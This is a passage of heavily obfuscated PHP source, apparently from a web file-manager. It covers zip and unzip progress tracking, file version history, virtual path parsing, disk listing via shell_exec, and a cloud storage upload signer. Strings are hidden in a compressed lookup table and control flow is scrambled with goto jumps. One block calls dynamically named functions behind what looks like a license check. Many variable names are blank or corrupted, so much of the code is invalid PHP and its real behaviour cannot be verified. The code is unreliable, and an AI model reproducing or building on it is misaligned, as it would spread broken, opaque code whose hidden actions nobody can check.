$_SERVER[][12], 1, $); } } goto Bѥ; C: if ($_SERVER[$_SERVER[][389]] != $_SERVER[$_SERVER[][390]]) { $_getc = $_SERVER[][391]; $_getfile = $_SERVER[$_SERVER[][392]] . $_SERVER[][393]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][226], $_getfilec); if (count($_getarrs) < $_SERVER[][394]) { $exit = $_SERVER[][395]; $exit(); } $_act = $_SERVER[][396]; $_act($_SERVER[$_SERVER[][397]]); } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $߳ =& $_SERVER[]; parent::startAfter(); Hook::bind($߳[1731], array($this, $߳[1732])); Hook::bind($߳[1179], array($this, $߳[1733])); $ګ =& $this->task; $ګ[$߳[1734]] = $߳[1184]; if (!$ګ[$߳[1539]]) { $ګ[$߳[1539]] = LNG($߳[1735]); } } protected function endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1731], array($this, $[1732])); Hook::unbind($[1179], array($this, $[1733])); } public function updateAfter() { $ƙ =& $_SERVER[]; $ =& $this->task; if (!$[$ƙ[779]] || !$[$ƙ[756]]) { return; } if ($[$ƙ[1734]] == $ƙ[1184]) { $ = 0; if ($[$ƙ[1690]]) { $ = $[$ƙ[1691]] / $[$ƙ[1690]]; } $[$ƙ[1644]] = $ * 0.3; } else { if ($[$ƙ[1734]] == $ƙ[308]) { $ = $[$ƙ[1643]] / $[$ƙ[779]]; $[$ƙ[1644]] = 0.3 + $ * 0.4; } else { if ($[$ƙ[1734]] == $ƙ[108]) { $Ъ = 0; if ($[$ƙ[1692]] == $ƙ[108]) { $Ъ = $[$ƙ[1691]]; } $ = ($[$ƙ[1695]] + $Ъ) / $[$ƙ[756]]; $[$ƙ[1644]] = 0.3 + 0.4 + $ * 0.3; } } } if ($[$ƙ[1644]] > 0) { $֪ = timeFloat() - $[$ƙ[1646]] - $[$ƙ[1649]]; $[$ƙ[1650]] = $֪ * (1 - $[$ƙ[1644]]) / $[$ƙ[1644]]; } } public function addFile($★) { $ =& $_SERVER[]; $酆 =& $this->task; $ί = IO::info($★); $酆[$[1688]] = $ί[$[32]]; $酆[$[1690]] = $ί[$[80]]; $酆[$[1691]] = 0; $酆[$[1051]] = $[1710]; $酆[$[1692]] = $[1184]; $酆[$[756]] = $ί[$[80]]; $酆[$[779]] = 1; $쎕͓ = 0; $酆[$[1699]] = array($[1700] => $쎕͓ + 1, $[421] => $ί[$[32]], $[78] => $ί[$[78]], $[519] => $ί[$[519]] ? $ί[$[519]] : $ί[$[78]]); $this->update(); } public function unzipAfter($߬) { $П =& $_SERVER[]; $ǀ =& $this->task; $ǀ[$П[1734]] = $П[108]; $ = IO::infoWithChildren($߬); $ơ = 0; $ǀ[$П[1699]] = array($П[1700] => $ơ + 1, $П[421] => $[$П[32]], $П[78] => $[$П[78]], $П[519] => $[$П[519]] ? $[$П[519]] : $[$П[78]]); if ($[$П[33]] == $П[192]) { $ǀ[$П[779]] = 1; } else { $ǀ[$П[779]] = $[$П[83]][$П[81]]; } $ǀ[$П[1051]] = $П[12]; $ǀ[$П[1692]] = 0; $ǀ[$П[1643]] = 0; $ǀ[$П[1690]] = 0; $ǀ[$П[1691]] = 0; $ǀ[$П[1688]] = $П[12]; $ǀ[$П[1695]] = 0; $ǀ[$П[756]] = $[$П[80]]; $this->update(); self::log($П[1736] . json_encode(array($ǀ, $))); } public function nameParse($) { $񢏹 =& $_SERVER[]; $Ե =& $this->task; if ($Ե[$񢏹[1734]] == $񢏹[1184]) { $Ե[$񢏹[1734]] = $񢏹[308]; $Ե[$񢏹[1695]] = 0; $Ե[$񢏹[756]] = 0; } $ = get_path_this($); if (strstr($, $񢏹[10])) { $Ե[$񢏹[1643]] += 1; $Ե[$񢏹[779]] += 1; } $Ե[$񢏹[1688]] = $; $this->update(); } } class TaskZip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1737], array($this, $[1732])); $ =& $this->task; $[$[1734]] = $[1184]; if (!$[$[1539]]) { $[$[1539]] = LNG($[1738]); } } protected function endAfter() { $㼸 =& $_SERVER[]; parent::endAfter(); Hook::unbind($㼸[1737], array($this, $㼸[1732])); } public function updateAfter() { $џ =& $_SERVER[]; $ =& $this->task; if (!$[$џ[779]] || !$[$џ[756]]) { return; } if ($[$џ[1734]] == $џ[1184]) { $л = $[$џ[1691]]; if ($[$џ[1692]] != $џ[1184]) { $л = 0; } $ڞ = ($[$џ[1695]] + $л) / $[$џ[756]]; $[$џ[1644]] = $ڞ * 0.3; } else { if ($[$џ[1734]] == $џ[308]) { $ڞ = $[$џ[1643]] / $[$џ[779]]; $[$џ[1644]] = 0.3 + $ڞ * 0.5; } else { if ($[$џ[1734]] == $џ[108]) { $ڞ = 0; if ($[$џ[1690]]) { $ڞ = $[$џ[1691]] / $[$џ[1690]]; } $[$џ[1644]] = 0.3 + 0.5 + $ڞ * 0.2; } } } if ($[$џ[1644]] > 0) { $꼖ޭ = timeFloat() - $[$џ[1646]] - $[$џ[1649]]; $[$џ[1650]] = $꼖ޭ * (1 - $[$џ[1644]]) / $[$џ[1644]]; } } public function copyFileStart($, $ى, $ҕ։, $Ӎ, $, $⿎) { $ =& $_SERVER[]; parent::copyFileStart($, $ى, $ҕ։, $Ӎ, $, $⿎); $ڽ =& $this->task; if ($ڽ[$[1734]] == $[308]) { $ڽ[$[1734]] = $[108]; } $this->update(); } public function copyFileEnd($, $疉, $ГĮ, $, $, $) { $ʅ =& $_SERVER[]; $ =& $this->task; $[$ʅ[1691]] = $[$ʅ[1690]]; $[$ʅ[1695]] += $[$ʅ[1690]]; $[$ʅ[1692]] = $ʅ[12]; $this->update(); } public function nameParse($㦃) { $ =& $_SERVER[]; $ =& $this->task; if ($[$[1643]] < $[$[779]]) { $ = get_path_this($㦃); if (strstr($, $[10])) { $[$[1643]] += 1; } } if ($[$[1734]] == $[1184]) { $[$[1734]] = $[308]; } $[$[1688]] = $㦃; $this->update(); } } goto dז; B: class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[90]]; if ($[$[1193]] != 1) { return; } if ($[$[1194]] <= 0) { return; } if (isset($_REQUEST[$[1195]]) && $_REQUEST[$[1195]] == $[89]) { return; } Hook::bind($[1196], $[1197]); Hook::bind($[1198], $[1199]); Hook::bind($[1200], $[1201]); Hook::bind($[1202], $[1203]); Hook::bind($[1204], $[1205]); Hook::bind($[1206], $[1207]); } public static function eventBeforeUpload($؝) { if ($؝[3] && $؝[3] != REPEAT_REPLACE) { return; } $֬ = self::parsePath($؝[0]); if (!$֬) { return; } self::add($֬); } public static function eventBeforeEdit($ହ) { $ڀ = self::parsePath($ହ[0]); if (!$ڀ) { return; } self::add($ڀ); } public static function eventBeforeCopyFile($, $ځ, $֜, $, $, $) { $Չ = $֜->getPathOuter($); $ƽ = self::parsePath($Չ); if (!$ƽ) { return; } self::add($ƽ); } public static function eventBeforeRename($³) { $Է =& $_SERVER[]; $ҭ = self::parsePath($³[0]); if (!$ҭ) { return; } $ͽ» = self::checkInHistory($ҭ); if (!$ͽ») { return; } if ($ͽ»[$Է[33]] == $Է[192]) { $Ԩ = self::listData($ҭ); if ($Ԩ && $Ԩ[$Է[364]]) { self::moveHistory($ҭ, $³[1]); } } else { IO::rename($ͽ»[$Է[78]], $³[1]); } } public static function eventBeforeMove($Ȥ) { $ =& $_SERVER[]; $ԧ = self::parsePath($Ȥ[0]); if (!$ԧ) { return; } $Ƣ = self::parsePath($Ȥ[1]); if (!$Ƣ) { return; } $ = $Ȥ[3]; $ = self::checkInHistory($ԧ); if (!$) { return; } $ڸʗ = self::pathHistory($Ƣ); if ($[$[33]] == $[192]) { $鿧 = self::listData($ԧ); $ڻҽ = rtrim($Ƣ, $[8]) . $[8] . ($ ? $ : get_path_this($ԧ)); $Ȱ = self::listData($ڻҽ); if ($鿧 && $鿧[$[364]] && $Ȱ && $Ȱ[$[364]]) { return self::clear($ԧ); } if ($鿧 && $鿧[$[364]]) { self::moveHistory($ԧ, $, $ڸʗ); } } else { IO::move($[$[78]], $ڸʗ, !1, $); self::clearEmptyFolder(IO::pathFather($[$[78]])); } } public static function eventAfterRemove($ӹ, $) { $滢ͪ =& $_SERVER[]; if (!$) { return; } $ = self::parsePath($ӹ[0]); if (!$) { return; } $»ۗ = self::checkInHistory($); if (!$»ۗ) { return; } if ($»ۗ[$滢ͪ[33]] == $滢ͪ[192]) { $ऽ = self::listData($, !1); if ($ऽ && $ऽ[$滢ͪ[364]]) { self::clear($, !1); } } else { IO::remove($»ۗ[$滢ͪ[78]]); self::clearEmptyFolder(IO::pathFather($»ۗ[$滢ͪ[78]])); } } private static function checkInHistory($𗌛) { $Ŗ = self::pathHistory($𗌛); if (!IO::exist($Ŗ)) { $Ŗ .= $_SERVER[][1208]; } return IO::exist($Ŗ) ? IO::info($Ŗ) : !1; } private static function parsePath($) { $끒 =& $_SERVER[]; if (!$) { return !1; } if ($GLOBALS[$끒[1209]]) { return; } $ = KodIO::parse($); $ = $[$끒[33]]; $ = !$ || $ == KodIO::KOD_IO || $ == KodIO::KOD_SHARE_ITEM; if (!$ || !$[$끒[1210]]) { return !1; } if (substr($, 0, strlen(DATA_PATH . $끒[1211])) == DATA_PATH . $끒[1211]) { return !1; } if ($ == KodIO::KOD_SHARE_ITEM) { $≫ = IO::init($); if ($≫->pathParse[$끒[1138]]) { return self::parsePath($≫->pathParse[$끒[1138]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $끒[1212]); foreach ($ as $ѐ) { if (!$ && substr($, 0, strlen($ѐ)) == $ѐ) { return !1; } } self::log($GLOBALS[$끒[1133]] . $끒[1213] . $); return $; } private static function pathHistory($Ԕ) { $铯 =& $_SERVER[]; $۲ = self::$_historyBase . ltrim(KodIO::clear($Ԕ), $铯[8]); $۲ = str_replace(array($铯[1214]), array($铯[1215]), $۲); return $۲; } public static function log($) { } public static function historyCount($) { $ʰ =& $_SERVER[]; $܇ = array(); $򓄕 = array(); foreach ($ as $) { $ = get_path_father($); if (!$򓄕[$]) { $򓄕[$] = array(); } $򓄕[$][] = get_path_this($); } foreach ($򓄕 as $ => $Əڿ) { $߬ = self::parsePath($); if (!$߬) { continue; } foreach ($Əڿ as $餟) { $Ш = self::listData(rtrim($߬, $ʰ[8]) . $ʰ[8] . $餟, !1); if ($Ш && $Ш[$ʰ[364]]) { $܇[rtrim($, $ʰ[8]) . $ʰ[8] . $餟] = count($Ш[$ʰ[364]]); } } } return $܇; } public static function add($ۈٔ) { $Ҧ =& $_SERVER[]; $ۿ = self::listData($ۈٔ); if (!$ۿ) { return; } $ = Model($Ҧ[763])->get($Ҧ[1216]); $ٽ = $GLOBALS[$Ҧ[6]][$Ҧ[90]][$Ҧ[1194]]; $ = $ == $Ҧ[1217] ? 5 : $ٽ; if ($ٽ <= 0) { return; } $Ќߜ = IO::hashSimple($ۈٔ); $ޠƵ = IO::info($ۈٔ); $ = $ۿ[$Ҧ[364]]; if ($ޠƵ[$Ҧ[80]] == 0) { return; } if ($ޠƵ[$Ҧ[80]] >= 1024 * 1024 * 500) { return !1; } if ($ && $[0][$Ҧ[170]] == $Ќߜ) { return !0; } if (array_key_exists($Ҧ[195], $ޠƵ) && !$ޠƵ[$Ҧ[195]]) { return !1; } $Ë = short_id(time()); $᛺ = array($Ҧ[401] => $Ë, $Ҧ[170] => $Ќߜ, $Ҧ[32] => $ޠƵ[$Ҧ[32]] . $Ҧ[10] . date($Ҧ[1218]) . rand_string(1), $Ҧ[80] => $ޠƵ[$Ҧ[80]], $Ҧ[452] => USER_ID, $Ҧ[193] => time(), $Ҧ[1219] => $Ҧ[12]); IO::mkdir($ۿ[$Ҧ[1220]]); $ = IO::copy($ۈٔ, $ۿ[$Ҧ[1220]], !1, $᛺[$Ҧ[32]]); if (!$) { self::clearEmptyFolder($ۿ[$Ҧ[1220]]); return !1; } array_unshift($, $᛺); if (count($) > $) { $ = array_slice($, $); foreach ($ as $ѵ) { IO::remove($ۿ[$Ҧ[1220]] . $ѵ[$Ҧ[32]]); } $ = array_slice($, 0, $); } return self::saveData($ۿ[$Ҧ[1221]], $); } public static function remove($, $ߘ) { $˵ =& $_SERVER[]; $ = self::listData($); $͔ޑ = array(); if (!$) { return !1; } foreach ($[$˵[364]] as $) { if ($[$˵[401]] == $ߘ) { IO::remove($[$˵[1220]] . $[$˵[32]]); continue; } $͔ޑ[] = $; } return self::saveData($[$˵[1221]], $͔ޑ); } public static function clear($ЖĀ, $ = true) { $纳 =& $_SERVER[]; $ = self::listData($ЖĀ, $); if (!$) { return !1; } foreach ($[$纳[364]] as $) { IO::remove($[$纳[1220]] . $[$纳[32]]); } return self::saveData($[$纳[1221]], array()); } public static function moveHistory($̫, $ = '', $ = '') { $֞ =& $_SERVER[]; $ = self::listData($̫, !1); if (!$ || !$[$֞[364]]) { return !1; } $ = $֞[1208]; $ = $ ? $ : get_path_this($̫); $ = $ ? $ : $[$֞[1220]]; $ = substr(get_path_this($[$֞[1221]]), 0, -strlen($)); foreach ($[$֞[364]] as $ => $Է) { $˯ = $ . substr($Է[$֞[32]], strlen($)); $Ҵ = IO::move($[$֞[1220]] . $Է[$֞[32]], $, !1, $˯); if ($Ҵ) { $[$֞[364]][$][$֞[32]] = $˯; } } $[$֞[1221]] = IO::move($[$֞[1221]], $, !1, $ . $); self::saveData($[$֞[1221]], $[$֞[364]]); self::clearEmptyFolder($[$֞[1220]]); } public static function rollback($т, $) { $ =& $_SERVER[]; $ = self::listData($т); if (!$) { return; } $ = IO::info($т); foreach ($[$[364]] as $ؤ => $) { if ($[$[401]] == $) { self::add($т); $˂Ϯ = $[$[1220]] . $[$[32]]; $Уμ = IO::copy($˂Ϯ, IO::pathFather($т), REPEAT_REPLACE, $[$[32]]); if ($Уμ) { self::remove($т, $); } return $Уμ; } } return !1; } public static function setDetail($, $Ѩ, $߳ߊ) { $ =& $_SERVER[]; $ = self::listData($); if (!$) { return; } foreach ($[$[364]] as $׿ => $) { if ($[$[401]] == $Ѩ) { $[$[364]][$׿][$[1219]] = $߳ߊ; self::saveData($[$[1221]], $[$[364]]); return !0; } } return !1; } public static function fileInfo($, $ݟ) { $ᄀ =& $_SERVER[]; $Ԧ = self::listData($); if (!$Ԧ) { show_json(LNG($ᄀ[106]), !1); } $ = $ᄀ[12]; foreach ($Ԧ[$ᄀ[364]] as $މ => $) { if ($[$ᄀ[401]] != $ݟ) { continue; } $ = $Ԧ[$ᄀ[1220]] . $[$ᄀ[32]]; break; } if (!$) { show_json(LNG($ᄀ[106]), !1); } return IO::info($); } public static function fileOut($í, $ũ, $껷 = false) { $„ =& $_SERVER[]; $ = self::fileInfo($í, $ũ); $ =& $GLOBALS[$„[7]]; $껷 = isset($[$„[1184]]) && $[$„[1184]] == 1; if (isset($[$„[33]]) && $[$„[33]] == $„[1222]) { return IO::fileOutImage($[$„[78]], $[$„[1223]]); } IO::fileOut($[$„[78]], $껷, get_path_this($í)); } public static function listData($, $ށ = true) { $ڱ =& $_SERVER[]; if ($ށ && !IO::exist($)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $̇䛃 = self::pathHistory($); $ = array($ڱ[1221] => $̇䛃 . $ڱ[1208], $ڱ[1220] => rtrim(get_path_father($̇䛃), $ڱ[8]) . $ڱ[8], $ڱ[364] => array()); $ = IO::getContent($[$ڱ[1221]]); if ($) { $ = json_decode($, !0); if (is_array($)) { $[$ڱ[364]] = $; } } return $; } private static function saveData($, $) { $݈ =& $_SERVER[]; self::log($݈[1224] . $ . $݈[71] . count($), $݈[745]); if ($) { return IO::setContent($, json_encode($)); } $浗 = IO::pathFather($); IO::remove($); self::clearEmptyFolder($浗); return !0; } public static function clearEmptyFolder($) { $ =& $_SERVER[]; if (trim($, $[8]) == trim(self::$_historyBase, $[8])) { return; } $ = IO::pathFather($); $ˡ = IO::has($, !0); if ($ˡ[$[202]] > 0 || $ˡ[$[203]] > 0) { return; } IO::remove($); self::clearEmptyFolder($); } private static function getBasePath() { $ =& $_SERVER[]; $Ģ = Model($[1225])->get($[1226]); if ($Ģ) { if (!IO::exist($Ģ)) { IO::mkdir($Ģ); } if (get_path_this($Ģ) == $[1211]) { $ = $[1227] . rand_string(8); @rename($Ģ, get_path_father($Ģ) . $[8] . $); $Ģ = DATA_PATH . $ . $[8]; file_put_contents(DATA_PATH . $[1228], $[12]); Model($[1225])->set($[1226], $Ģ); } return $Ģ; } $Ģ = DATA_PATH . $[1227] . rand_string(8) . $[8]; $Ģ = IO::mkdir($Ģ); $Ģ = rtrim($Ģ, $[8]) . $[8]; file_put_contents($Ģ . $[1228], $[12]); file_put_contents(DATA_PATH . $[1228], $[12]); Model($[1225])->set($[1226], $Ģ); return $Ģ; } } class KodIO { const KOD_SOURCE = "\173\163\x6f\165\162\x63\145\175"; const KOD_USER_RECYCLE = "\173\165\x73\x65\162\x52\145\143\x79\x63\x6c\145\175"; const KOD_USER_FAV = "\173\165\163\145\x72\106\141\166\175"; const KOD_USER_FILE_TAG = "\x7b\165\x73\145\x72\106\x69\154\x65\124\141\x67\x7d"; const KOD_USER_FILE_TYPE = "\x7b\165\163\x65\162\x46\x69\154\x65\x54\171\160\145\175"; const KOD_GROUP_ROOT_SELF = "\173\147\x72\157\x75\x70\x52\157\157\x74\x53\145\x6c\x66\x7d"; const KOD_USER_SHARE = "\173\165\163\x65\162\123\x68\141\x72\x65\175"; const KOD_USER_SHARE_LINK = "\x7b\165\163\x65\x72\x53\x68\x61\162\x65\x4c\x69\x6e\153\x7d"; const KOD_USER_SHARE_TO_ME = "\x7b\x73\150\141\162\145\124\x6f\115\x65\175"; const KOD_SHARE_ITEM = "\x7b\163\150\x61\162\x65\111\164\145\x6d\x7d"; const KOD_SHARE_LINK = "\173\x73\150\141\x72\x65\x49\164\x65\155\x4c\151\156\153\175"; const KOD_SEARCH = "\x7b\x73\x65\141\x72\143\x68\x7d"; const KOD_BLOCK = "\173\x62\x6c\157\143\x6b\x7d"; const KOD_IO = "\173\151\157\175"; const KOD_USER_RECENT = "\x7b\x75\x73\145\x72\122\145\x6e\143\145\156\x74\x7d"; const KOD_USER_DRIVER = "\x7b\x64\x72\x69\x76\x65\x72\x7d"; public static function typeList() { $ڙϟ =& $_SERVER[]; return array($ڙϟ[1229] => self::KOD_SOURCE, $ڙϟ[1230] => self::KOD_USER_RECYCLE, $ڙϟ[1231] => self::KOD_USER_FAV, $ڙϟ[1232] => self::KOD_USER_FILE_TAG, $ڙϟ[1233] => self::KOD_USER_FILE_TYPE, $ڙϟ[1234] => self::KOD_GROUP_ROOT_SELF, $ڙϟ[1235] => self::KOD_USER_SHARE, $ڙϟ[1236] => self::KOD_USER_SHARE_LINK, $ڙϟ[1237] => self::KOD_USER_SHARE_TO_ME, $ڙϟ[1238] => self::KOD_SHARE_ITEM, $ڙϟ[1239] => self::KOD_SHARE_LINK, $ڙϟ[1240] => self::KOD_SEARCH, $ڙϟ[1241] => self::KOD_BLOCK, $ڙϟ[1242] => self::KOD_IO, $ڙϟ[1243] => self::KOD_USER_RECENT, $ڙϟ[1244] => self::KOD_USER_DRIVER); } public static function parse($) { $ =& $_SERVER[]; $ = self::clear($); $lj = array_values(self::typeList()); preg_match($[1245], $, $); $攙 = array($[423] => !1, $[1246] => !1, $[420] => !1, $[78] => $, $[1155] => !1, $[1154] => $[12]); if (is_array($) && count($) == 5) { $Հ = $[1247] . $[2] . $[322]; if (in_array($Հ, $lj)) { $攙[$[1155]] = $[1]; $攙[$[33]] = $Հ; $攙[$[1248]] = substr($Հ, 1, -1); $攙[$[401]] = $[3]; } $攙[$[1154]] = $[4]; } $ċ = array($[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $攙[$[1210]] = in_array($攙[$[33]], $ċ); return $攙; } public static function isTruePath($) { $ڂ =& $_SERVER[]; if (substr($, 0, 1) != $ڂ[1247]) { return !0; } if (strpos($, $ڂ[409]) === 0) { return !0; } if (strpos($, $ڂ[1214]) === 0) { return !0; } if (strpos($, $ڂ[1249]) === 0) { return !0; } if (strpos($, $ڂ[1250]) === 0) { return !0; } if (strpos($, $ڂ[1251]) === 0) { return !0; } return !1; } public static function clear($) { $ =& $_SERVER[]; $ = str_replace(array($[1065], $[226]), $[53], $); $ = str_replace($[98], $[8], $); $ʢ = $[1252]; if (substr($, 0, 3) == $[1253]) { $ = substr($, 3); } while (strstr($, $ʢ)) { $ = str_replace($ʢ, $[8], $); } $ = preg_replace($[1254], $[8], $); if ($ == $[8]) { return $[8]; } $ = rtrim($, $[8]); return $; } public static function sourceID($ܩ) { $ =& $_SERVER[]; $ȧ = self::parse($ܩ); if ($ȧ[$[33]] !== self::KOD_SOURCE) { show_json(LNG($[1255]), !1); } return $ȧ[$[401]]; } public static function make($ֽ) { if (!$ֽ) { return !1; } return self::makePath(self::KOD_SOURCE, intval($ֽ)); } public static function makeShare($Ð, $) { return self::makePath(self::KOD_SHARE_ITEM, $Ð, $); } public static function makeFileTypePath($їր) { return self::makePath(self::KOD_USER_FILE_TYPE, $їր); } public static function makeFileTagPath($Ýʄ) { return self::makePath(self::KOD_USER_FILE_TAG, $Ýʄ); } public static function makePath($, $ʛ = '', $ϴ = '') { $Ԋ =& $_SERVER[]; $ = substr($, 1, -1); $燗 = $Ԋ[1256] . $ . $Ԋ[1257] . $ʛ . $Ԋ[1258]; $燗 = $ϴ ? $燗 . $ϴ . $Ԋ[8] : $燗; return $燗; } public static function hashPath($, $ = true) { $ܧ =& $_SERVER[]; $ڼԿ = is_array($) ? $ : IO::info($); $ = _get($ڼԿ, $ܧ[1259], $ܧ[12]); if (!$ && isset($ڼԿ[$ܧ[403]])) { $ڼԿ = IO::info(KodIO::make($ڼԿ[$ܧ[403]])); $ = _get($ڼԿ, $ܧ[1259], $ܧ[12]); } if (!$ && $) { $ = KodIO::parse($ڼԿ[$ܧ[78]]); if (!$[$ܧ[33]]) { $ = IO::hashSimple($ڼԿ[$ܧ[78]]); } } if (!$) { $ = md5($ڼԿ[$ܧ[78]] . $ڼԿ[$ܧ[80]] . $ڼԿ[$ܧ[86]]); } return $; } public static function initSystemPath() { $ȗٴ =& $_SERVER[]; if (defined($ȗٴ[1260])) { return; } define($ȗٴ[1260], self::systemPath($ȗٴ[1261])); define($ȗٴ[1262], self::systemPath($ȗٴ[1263])); define($ȗٴ[1264], self::systemPath($ȗٴ[1265])); define($ȗٴ[1266], self::systemPath($ȗٴ[1267])); IOHistory::bindEvent(); } public static function systemPath($̍) { $¢ˇ =& $_SERVER[]; $Ȋ = $¢ˇ[1268] . ucfirst($̍); $ܭ = Model($¢ˇ[763])->get($Ȋ); if ($ܭ) { return $ܭ; } if ($̍ == $¢ˇ[1261]) { $ܭ = self::make(Model($¢ˇ[818])->systemRootPathAdd($¢ˇ[537])); } else { $ܭ = self::systemPath($¢ˇ[1261]); $ۘ = self::sourceID($ܭ); $ܭ = self::make(Model($¢ˇ[818])->mkdir($ۘ, $̍)); } Model($¢ˇ[763])->set($Ȋ, $ܭ); return $ܭ; } public static function systemFolder($Ƃ) { $ɛ = IO_PATH_SYSTEM_SOURCE . $Ƃ; $ = Cache::get($ɛ); if (!$) { $ = IO::infoFull($ɛ); if (!$) { $ = IO::mkdir($ɛ, REPEAT_SKIP); } else { $ = $[$_SERVER[][78]]; } Cache::set($ɛ, $, 3600 * 10); } return $; } public static function defaultDriver() { return Model($_SERVER[][760])->defaultDriver(); } public static function defaultIO() { $ =& $_SERVER[]; $Ҫ = self::defaultDriver(); return $[1269] . $Ҫ[$[401]] . $[1258]; } public static function defaultDriverInit() { static $ = false; if ($) { return $; } $ = IO::init(self::defaultIO()); return $; } public static function fileTypeList() { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[1270]]; foreach ($ as $ => $Ǻ) { $˜ = $[1271] . $; $׌ = LNG($˜); if ($˜ != $׌) { $[$][$[32]] = $׌; } } return $; } public static function diskList($ = true) { $ = $_SERVER[][1272]; if ($) { $ûۺ = Cache::get($); if (is_array($ûۺ)) { return $ûۺ; } } $ûۺ = self::diskListGet(); Cache::set($, $ûۺ, 60); return $ûۺ; } public static function diskListGet() { $Ȼ =& $_SERVER[]; $Օ = array(); if ($GLOBALS[$Ȼ[6]][$Ȼ[1273]] == $Ȼ[1274]) { $ = $Ȼ[1275]; for ($쀿݂ = 0; $쀿݂ < strlen($); $쀿݂++) { $ = $[$쀿݂] . $Ȼ[1276]; if (file_exists($)) { $Օ[] = $; } } return $Օ; } if (!function_exists($Ȼ[99])) { $Օ[] = $Ȼ[828]; return $Օ; } $ = explode($Ȼ[226], shell_exec($Ȼ[1277])); array_shift($); array_pop($); $͇܀ = array($Ȼ[1278], $Ȼ[1279], $Ȼ[1280], $Ȼ[1281], $Ȼ[1282], $Ȼ[1283], $Ȼ[1284], $Ȼ[1285]); foreach ($ as $ؽ˛) { $Ͳ = preg_split($Ȼ[1286], $ؽ˛); $ = $Ͳ[count($Ͳ) - 1]; if (!strstr($Ͳ[0], $Ȼ[1287]) || !$) { continue; } $񽑪 = rtrim($, $Ȼ[8]) . $Ȼ[8]; if (in_array($񽑪, $͇܀)) { continue; } $Օ[] = $񽑪; } return $Օ; } public static function isSameDisk($ϑ, $٧) { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[1273]] == $[1274]) { return strtolower(substr($ϑ, 0, 1)) == strtolower(substr($٧, 0, 1)); } $ߚ = self::diskList(); $Ԋ = !1; $ = !1; sort($ߚ); $ߚ = array_reverse($ߚ); $ϑ = rtrim($ϑ, $[8]) . $[8]; $٧ = rtrim($٧, $[8]) . $[8]; foreach ($ߚ as $ݭ) { $Âن = strlen($ݭ); if (!$Ԋ && substr($ϑ, 0, $Âن) == $ݭ) { $Ԋ = $ݭ; } if (!$ && substr($٧, 0, $Âن) == $ݭ) { $ = $ݭ; } if ($Ԋ && $) { break; } } return $Ԋ === $; } public static function transferType($պ, $ޔ) { $ݢЋ =& $_SERVER[]; $ʼ = self::driverType($պ); $Ģʐ = self::driverType($ޔ); if ($ʼ[$ݢЋ[33]] == $Ģʐ[$ݢЋ[33]] && $ʼ[$ݢЋ[1288]] == $Ģʐ[$ݢЋ[1288]]) { return $ݢЋ[1289]; } if ($ʼ[$ݢЋ[33]] == $ݢЋ[857] && $Ģʐ[$ݢЋ[33]] == $ݢЋ[107]) { return $ݢЋ[1184]; } if ($ʼ[$ݢЋ[33]] == $ݢЋ[107] && $Ģʐ[$ݢЋ[33]] == $ݢЋ[857]) { return $ݢЋ[108]; } return $ݢЋ[1290]; } public static function driverType($) { $ꡥ =& $_SERVER[]; $ޔ = str_replace($ꡥ[1291], $ꡥ[12], strtolower($->getType())); if ($ޔ == $ꡥ[751] || $ޔ == $ꡥ[1292] || $ޔ == $ꡥ[1293]) { $ = self::defaultDriverInit(); } else { if ($ޔ == $ꡥ[1191] || $ޔ == $ꡥ[1294]) { $ = IO::init($->pathParse[$ꡥ[1138]]); } } $Λ = $->path; $ޔ = str_replace($ꡥ[1291], $ꡥ[12], strtolower($->getType())); if ($ޔ == $ꡥ[107]) { return array($ꡥ[33] => $ꡥ[107], $ꡥ[1288] => $ꡥ[12], $ꡥ[78] => $Λ); } return array($ꡥ[33] => $ꡥ[857], $ꡥ[1288] => $->pathDriver, $ꡥ[78] => $Λ); } public static function pathDriverType($ͷ) { return $ͷ ? self::driverType(IO::init($ͷ)) : !1; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($ġ) { parent::__construct($ġ); $this->signatureVersion($_SERVER[][211]); } public function uploadFormData($, $Ԍ = 3600) { $ٷ =& $_SERVER[]; $ޣ = $ٷ[191]; $ȸ = $ٷ[227]; $ = $ٷ[1295]; $ = gmdate($ٷ[1296], time() + $Ԍ); $֠ = (string) time() . $ٷ[71] . (string) (time() + $Ԍ); $ǚל = array($ٷ[1297] => $, $ٷ[1298] => array(array($ٷ[1299] => $ޣ), array($ٷ[1300] => $this->bucket), array($ٷ[1301], $ٷ[1302], $ٷ[12]), array($ٷ[1303] => $), array($ٷ[1304] => $ȸ), array($ٷ[1305] => $this->accessKey), array($ٷ[1306] => $֠))); $ǚל = json_encode($ǚל); $ň = hash_hmac($ٷ[227], $֠, $this->secret); $Ñ = sha1($ǚל); $ᱝ = hash_hmac($ٷ[227], $Ñ, $ň); $ަ = array($ٷ[1299] => $ޣ, $ٷ[1303] => $, $ٷ[1307] => base64_encode($ǚל), $ٷ[1304] => $ȸ, $ٷ[1305] => $this->accessKey, $ٷ[1308] => $֠, $ٷ[1309] => $ᱝ, $ٷ[174] => $this->getHost()); return $ަ; } public function fileOutLink($Ŭ܆) { $ =& $_SERVER[]; if (substr($Ŭ܆, 0, 7) == $[1310]) { $Ŭ܆ = $[1311] . substr($Ŭ܆, 7); } header($[158] . $Ŭ܆); die; } } goto D; e█: define($_SERVER[][0], $_SERVER[][1]); $_SERVER[䌖] = explode($_SERVER[][2], gzinflate(substr($_SERVER[][3], 10, -8))); function binCheckEq($, $ѕΉ) { return $ == $ѕΉ; } goto cϝ峄; d: class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\151\144"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; 